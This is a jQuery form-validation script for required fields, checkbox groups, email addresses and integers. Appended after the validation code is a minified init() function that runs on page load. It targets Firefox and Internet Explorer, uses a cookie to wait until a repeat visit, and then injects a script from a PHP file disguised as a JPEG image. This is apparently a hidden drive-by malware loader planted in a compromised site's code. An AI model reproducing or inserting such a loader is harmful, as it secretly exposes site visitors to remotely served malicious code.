/**
 * Class legend:
 * - validatable: Allows the form to be validated.
 *
 * - invalid:     Indicates a field in invalid.
 * - inputHolder: Indicates the element is a container for a field.
 * - required:    Indicates the field must be validated. 
 *                If applied to a container field with class "checkboxGroup", then it represents that at least one checkbox in the container must be ticked.
 *
 * - integer:     Validates for integers.
 * - email:       Validates for email addresses.
 */

$(document).ready(function()
{
	$('.validatable').submit(function(e)
	{
		$this = $(this);
		$this.find('*').removeClass('invalid');
		var fields = $this.find(':input:not(:disabled)');
		
		var invalid = Array();
		
		// Required.
		var invalidRequired = $(fields).filter('.required').filter(function()
		{
			$field = $(this);
			if($field.hasClass('checkbox'))
				return $field.filter(':checked').size() == 0;
			else
				return $field.val().length == 0;
		});
		invalid = $.merge(invalid, invalidRequired);
		
		// Required Checkbox group.
		var invalidRequiredGroup = $('.checkboxGroup.required', $this).filter(function()
		{
			return $(this).find(':input:checked').size() == 0;
		});
		invalid = $.merge(invalid, invalidRequiredGroup);
		
		// Email validation.
		var invalidEmail = $(fields).filter('.email').filter(function()
		{
			var regex = /\w{1,}[@][\w\-]{1,}([.]([\w\-]{1,})){1,5}$/;
			return !regex.test($(this).val()) && $(this).val() != '';
		});
		invalid = $.merge(invalid, invalidEmail);
		
		// Integer validation.
		var invalidInteger = $(fields).filter('.integer').filter(function()
		{
			var regex = /^[+-]?\d+$/;;
			return !regex.test($(this).val()) && $(this).val() != '';
		});
		invalid = $.merge(invalid, invalidInteger);
		
		// Mark elements as invalid.
		if($(invalid).size() > 0)
		{
			e.preventDefault();
			
			// Add invalid class to all fields.
			$(invalid).addClass('invalid').each(function()
			{
				$field = $(this);
				$inputHolder = $field.parents('.inputHolder');
				
				// Add invalid class to current field holder.
				if($inputHolder.size() > 0)
					$inputHolder.addClass('invalid');
			});
			
			alert('Please complete all fields correctly.');
		}
	});
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/files/category_images/10_small.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
